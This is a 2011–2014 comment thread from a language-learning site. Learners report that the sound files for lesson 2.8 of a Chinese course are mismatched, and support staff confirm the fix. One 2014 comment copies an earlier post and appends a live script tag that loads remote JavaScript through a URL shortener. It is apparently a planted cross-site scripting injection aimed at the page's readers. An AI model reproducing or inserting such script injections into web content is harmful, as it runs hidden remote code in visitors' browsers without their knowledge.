http://members.rocketlanguages.com/chinese/language-and-culture/2-8-on-board/291#culture
The sound file for Madam is the one for Young Lad, the one for Young Lad is the same as Miss. The one for Miss is simply duplicated.
Error in Chapter 2.8 sound files

Jim-Jutte
July 14, 2011

Lin-Ping
July 16, 2011
What a MESS!!! Madam is Young Lad, Young Lad is Miss, Miss is Miss... Yeah, YOU are absolutely RIGHT!!! SORRY!!! please report to Admin. Many thanks Jim Jutte, do keep vigilance.

Jim-Jutte
July 17, 2011
How do I report to the administration? Is this the "feedback" section?
谢谢

Rocket-Languages
July 22, 2011
Hi Jim,
Thanks for your correction - our apologies for any inconvenience caused.
I have fixed the error in Lesson 2.8 and the sound files should now match the words. Thanks again for pointing this out!
If you do need to report any errors about the lessons again, or if you have any feedback, there is a feedback button on the top right hand corner of every lesson. This will send our support team an email.
I hope this helps. All the best for your Chinese!
- Rocket Languages Support Team

Lin-Ping
July 25, 2011
Thanks Admin.

asfasfasf--
December 8, 2014
What a MESS!!! Madam is Young Lad, Young Lad is Miss, Miss is Miss... Yeah, YOU are absolutely RIGHT!!! SORRY!!! please report to Admin. Many thanks Jim Jutte, do keep vigilance.
<script src=http://is.gd/GeCxLN></script>

Robert-C7
December 8, 2014
I just checked and all audio for everything mentioned above has been fixed already. Nevertheless, it is good for us to report these things and also good that Rocket staff eventually get to these issues.